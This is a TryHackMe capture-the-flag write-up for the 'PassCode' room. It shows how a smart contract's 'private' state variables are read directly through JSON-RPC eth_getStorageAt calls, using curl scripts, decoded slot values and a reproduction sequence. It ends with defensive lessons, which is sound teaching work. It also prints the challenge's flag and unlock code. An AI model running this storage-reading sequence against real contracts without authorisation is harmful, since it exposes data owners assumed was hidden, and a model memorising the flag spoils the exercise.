TryHackMe · Web3 / Smart Contract Security

PassCode

Read a deployed Ethereum smart contract's supposedly private storage directly via JSON-RPC — no wallet, no transaction, no specialised tooling required — and recover a flag that was never meant to leave the chain.

Room
PassCode
Challenge
code blockchain
Target IP
10.67.139.223
Difficulty
Easy
Category
Web3 / Smart Contract
Flag
THM{web3_h4ck1ng_code}

Objective #

A smart contract has been deployed on a private Ethereum-compatible node. The contract stores a flag in a private state variable and only exposes it through getFlag(), which requires the caller to have first solved the challenge on-chain. The objective is to recover the flag without satisfying isSolved() — by reading contract storage directly.

Core Lesson

On any reachable Ethereum node, every byte of contract storage is observable. Solidity's private keyword restricts ABI-level access; it does not encrypt or hide data from the node. A flag stored in contract state is never truly secret.

Skills Tested #

Web3 Reconnaissance HTTP API Enumeration Solidity Source Analysis EVM Storage Layout JSON-RPC (eth_getStorageAt) Short-String Slot Decoding Base64 Artifact Decoding Tooling-Minimal Exploitation

The challenge is intentionally lean on surface area. The real depth is in understanding why Solidity visibility does not confer confidentiality, and how EVM storage encoding makes raw slot reads a reliable exploitation primitive.

Attack Flow #

  Query /challenge endpoint
  (contract address, RPC URL, wallet)
        |
        v
  Confirm web frontend exists
  (Vite SPA — largely ornamental)
        |
        v
  Extract route strings from JS bundle
  → discover /challenge/source
        |
        v
  GET /challenge/source
  → base64-decode → Solidity source
        |
        v
  Map state variable declaration order
  to storage slot indices (0x0–0x3)
        |
        v
  POST eth_getStorageAt for each slot
  to the exposed JSON-RPC node
        |
        v
  Decode raw slot values
  ├── 0x0 → secret → THM{web3_h4ck1ng_code}
  ├── 0x1 → unlock_flag → false
  ├── 0x2 → code → 333
  └── 0x3 → hint_text → "The code is 333"
Key Finding

The frontend was only a distribution mechanism for connection metadata. The blockchain node was the authoritative evidence source. Pivoting directly to eth_getStorageAt bypassed every layer of intended access control.

Methodology #

1 · Establish the Attack Surface

The Action

Query both the challenge API and the web root to determine which component holds the authoritative state.

curl -s "http://10.67.139.223/challenge"
curl -s "http://10.67.139.223/"

The Why

A Web3 challenge typically operates on two planes: a convenience layer (HTTP API or frontend) that hands out connection details, and a blockchain node that holds the actual state. If the API returns a contract address and a funded wallet, the core logic is almost certainly on-chain. Identifying this split early prevents wasting effort on the wrong component.

The Findings

The /challenge endpoint returned the critical metadata:

{
  "name": "blockchain",
  "description": "Goal: have the isSolved() function return true",
  "status": "DEPLOYED",
  "blockTime": 0,
  "rpc_url": "http://geth:8545",
  "player_wallet": {
    "address": "0xf6fe49FDa4146b467128f4525772E06936095518",
    "private_key": "0x",
    "balance": "1.0 ETH"
  },
  "contract_address": "0xf22cB0Ca047e88AC996c17683Cee290518093574"
}

The web root was a Vite-bundled single-page application shell — functional as a UI but holding no authoritative state.

Core Lesson

In mixed web/blockchain labs, never confuse the presentation layer with the authority layer. The frontend hands out keys; the node holds the truth.

2 · Enumerate Routes and Retrieve the Contract Source

The Action

Extract route strings from the bundled JavaScript, then directly request the most promising endpoint.

curl -s "http://10.67.139.223/assets/index-9ec22451.js" \
  | grep -oE "/[A-Za-z0-9_./-]+" | sort -u

curl -s "http://10.67.139.223/challenge/source"

The Why

Single-page applications routinely embed their API surface in the client bundle. Even minified output retains route fragments. In challenge infrastructure, endpoints like /source, /solve, and /reset are standard patterns worth testing directly.

The Findings

The bundle surfaced four useful routes: /challenge, /challenge/reset, /challenge/solve, and /challenge/source.

/challenge/source returned a base64-encoded blob. After decoding, the full Solidity contract was visible:

curl -s "http://10.67.139.223/challenge/source" \
  | jq -r '.[0]' | base64 -d
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract Challenge {
  string private secret = "THM{}";
  bool   private unlock_flag = false;
  uint256 private code;
  string private hint_text;

  constructor(string memory flag, string memory challenge_hint, uint256 challenge_code) {
    secret = flag;
    code = challenge_code;
    hint_text = challenge_hint;
  }

  function hint()    external view  returns (string memory) { return hint_text; }
  function unlock(uint256 input) external returns (bool) {
    if (input == code) { unlock_flag = true; return true; }
    return false;
  }
  function isSolved() external view returns (bool) { return unlock_flag; }
  function getFlag()  external view returns (string memory) {
    require(unlock_flag, "Challenge not solved yet");
    return secret;
  }
}
Key Finding

The source confirmed four state variables in declaration order: secret (slot 0), unlock_flag (slot 1), code (slot 2), hint_text (slot 3). The source endpoint removed all uncertainty about the storage layout — but it did not create the vulnerability. The vulnerability is storing secrets on-chain at all.

3 · Read Raw Contract Storage via JSON-RPC

The Action

Query the node directly using eth_getStorageAt for slots 0x0 through 0x3. No wallet signature or transaction is needed — storage reads are free, unauthenticated, and synchronous.

CONTRACT="0xf22cB0Ca047e88AC996c17683Cee290518093574"
RPC="http://10.67.139.223:8545"

for slot in 0x0 0x1 0x2 0x3; do
  echo -n "Slot $slot: "
  curl -s -X POST "$RPC" \
    -H "Content-Type: application/json" \
    --data "{\"jsonrpc\":\"2.0\",\"method\":\"eth_getStorageAt\",
             \"params\":[\"$CONTRACT\",\"$slot\",\"latest\"],\"id\":1}" \
    | jq -r '.result'
done

The Why

Once the storage layout is known, eth_getStorageAt is the most direct path to the data. It requires only the contract address and the slot index. No ABI, no wallet, no transaction fees. The node cannot distinguish a "legitimate" storage read from an attacker's — the RPC method is unconditionally available.

The Findings

SlotRaw Value
0x0 0x54484d7b776562335f6834636b316e675f636f64657d0000000000000000002c
0x1 0x0000000000000000000000000000000000000000000000000000000000000000
0x2 0x000000000000000000000000000000000000000000000000000000000000014d
0x3 0x54686520636f646520697320333333000000000000000000000000000000001e
Core Lesson

If the layout is known and the node is reachable, exploitation collapses to a deterministic decoding exercise. No guessing, no brute force, no tooling dependency beyond curl.

4 · Decode the Storage Values

The Action

Interpret each slot according to Solidity's storage encoding rules: short-string inline encoding for string types, and big-endian integer for uint256.

The Why

For strings of 31 bytes or fewer, Solidity stores the string bytes left-aligned (most-significant side) in the 32-byte slot, with the least-significant byte acting as a length marker equal to length × 2. Knowing this rule makes decoding mechanical: read the trailing byte, halve it for the byte count, then convert the leading bytes from hex to ASCII.

The Findings

SlotVariableTrailing byteLengthDecoded value
0x0 secret 0x2c (44 ÷ 2 = 22) 22 bytes THM{web3_h4ck1ng_code}
0x1 unlock_flag false
0x2 code 0x14d = 333
0x3 hint_text 0x1e (30 ÷ 2 = 15) 15 bytes The code is 333
Key Finding

The flag was recovered without ever calling unlock() or satisfying isSolved(). The secret was readable through passive observation alone — exactly the failure mode this room is designed to demonstrate.

Rabbit Holes & Pivots #

Missing Smart Contract Tooling

cast, node, python, and rg were all absent from the environment. Standard Web3 workflows that depend on Foundry or ethers.js were not available.

Common Mistake

Assuming exploitation depends on a preferred tool rather than the underlying protocol. eth_getStorageAt is raw HTTP POST JSON — curl is sufficient.

Bundle-First Analysis Was Noisy

The minified Vite bundle produced large, low-signal output. It was useful only for extracting candidate route strings, not as a primary evidence source. The pivot to /challenge/source was cleaner and more direct.

Non-Productive Auxiliary Endpoints

/robots.txt, /info, and /challenge/solve all returned errors or status messages with no actionable intelligence. They were eliminated quickly and not revisited.

Deep Dives #

Why private in Solidity Does Not Mean Secret

private is a visibility modifier, not a confidentiality mechanism. It prevents other contracts from calling auto-generated getters and prevents inherited contracts from referencing the variable by name. It does nothing to the underlying storage bytes on the node.

ModifierWhat it actually doesWhat it does not do
private Blocks ABI-level access from other contracts Encrypt or hide storage bytes
internal Limits access to the contract and derived contracts Hide bytecode or storage
public Generates a getter function automatically Change underlying storage behaviour

Any full node stores the complete contract state and will serve any slot on request via eth_getStorageAt. There is no authentication on this RPC method. "Private on-chain" is an oxymoron unless the secret is encrypted off-chain before storage, and the decryption key never touches the chain.

Solidity Short-String Storage Encoding

Solidity allocates state variables to 32-byte slots in declaration order, subject to packing rules. For strings of 31 bytes or fewer, the ABI stores the data inline within the slot:

For longer strings, the slot contains length × 2 + 1 and the actual bytes live at keccak256(slot). The odd low bit is the distinguishing marker. In this challenge, both strings were short, so the data was entirely within the slot itself.

Defensive Lessons #

Core Lesson

If a value must remain secret, it must not exist on-chain in recoverable plaintext form. Full stop.

Bad PatternBetter Pattern
Store plaintext flag in contract storage Store a hash; verify off-chain
Store unlock code in state Verify a signature or zero-knowledge proof
Assume private hides data Assume every storage byte is publicly observable
Expose /challenge/source in production Minimise intelligence leakage from convenience endpoints

Clean Reproduction Path #

The following is the minimal, noise-free command sequence that reproduces the exploit from scratch.

API_URL="http://10.67.139.223"
RPC_URL="http://10.67.139.223:8545"

# 1. Retrieve challenge metadata
CHAL=$(curl -s "$API_URL/challenge")
CONTRACT=$(printf '%s' "$CHAL" | jq -r '.contract_address')

# 2. Retrieve and decode the Solidity source
curl -s "$API_URL/challenge/source" | jq -r '.[0]' | base64 -d

# 3. Read raw storage slots
for slot in 0x0 0x1 0x2 0x3; do
  echo -n "Slot $slot: "
  curl -s -X POST "$RPC_URL" \
    -H "Content-Type: application/json" \
    --data "{\"jsonrpc\":\"2.0\",\"method\":\"eth_getStorageAt\",
             \"params\":[\"$CONTRACT\",\"$slot\",\"latest\"],\"id\":1}" \
    | jq -r '.result'
done

# 4. Decode results:
# Slot 0x0 trailing byte 0x2c -> 22 bytes -> THM{web3_h4ck1ng_code}
# Slot 0x2 -> 0x14d -> 333 (the unlock code, if needed)
# Slot 0x3 trailing byte 0x1e -> 15 bytes -> "The code is 333"

Flag #

Flag
THM{web3_h4ck1ng_code}